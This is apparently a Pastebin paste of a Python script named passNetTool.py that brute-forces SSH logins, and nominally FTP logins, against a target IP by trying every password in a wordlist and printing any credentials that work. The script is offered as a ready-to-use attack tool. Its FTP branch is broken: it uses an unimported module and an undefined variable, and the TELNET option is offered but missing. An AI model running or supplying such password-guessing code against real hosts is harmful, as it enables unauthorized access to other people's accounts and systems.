Advertisement
Guest User

passNetTool.py

a guest
May 20th, 2019
91
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.63 KB | None | 0 0
  1. #! python3
  2. # passNetTool.py
  3.  
  4. import paramiko
  5. import socket
  6.  
  7. global ip, port, username, wordlist
  8.  
  9. try:
  10. protocol = input("Protocol (SSH/FTP/TELNET) >>> ").lower()
  11. ip = input("IP Address >>> ")
  12. port = int(input("Port >>> "))
  13. username = input("Username >>> ")
  14. wordlist = input("Wordlist >>> ")
  15. wordlist = open(wordlist, "r")
  16. except KeyboardInterrupt:
  17. print("Quitting...")
  18. exit()
  19.  
  20. def sshConnect(password, code=0):
  21. ssh = paramiko.SSHClient()
  22. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  23. try:
  24. ssh.connect(ip, port=port, username=username, password=password)
  25. except paramiko.AuthenticationException:
  26. code = 1
  27. except socket.error:
  28. code = 2
  29. ssh.close()
  30. return code
  31.  
  32. def sshCrack():
  33. for word in wordlist.readlines():
  34. password = word.strip("\n")
  35. try:
  36. response = sshConnect(password)
  37. if response == 0:
  38. print("[+] Login Found!\n\tUsername: {}\n\tPassword: {}".format(username, password))
  39. wordlist.close()
  40. exit()
  41. elif response == 1:
  42. print("{} | Failed...".format(password))
  43. elif response == 2:
  44. print("[-] ERROR: Connection Not Established!")
  45. exit()
  46. except KeyboardInterrupt:
  47. print("Quitting...")
  48. pass
  49.  
  50. def ftpCrack():
  51. for word in wordlist.readlines():
  52. password = word.strip("\n")
  53. try:
  54. ftp = ftplib.FTP(ip)
  55. ftp.login(user, password)
  56. print("[+] Login Found!\n\tUsername: {}\n\tPassword: {}".format(username, password))
  57. except:
  58. print("{} | Failed...".format(password))
  59.  
  60. def whichProtocol(protocol):
  61. if protocol == 'ssh':
  62. sshCrack()
  63. elif protocol == 'ftp':
  64. ftpCrack()
  65.  
  66. whichProtocol(protocol)
  67.  
  68. wordlist.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement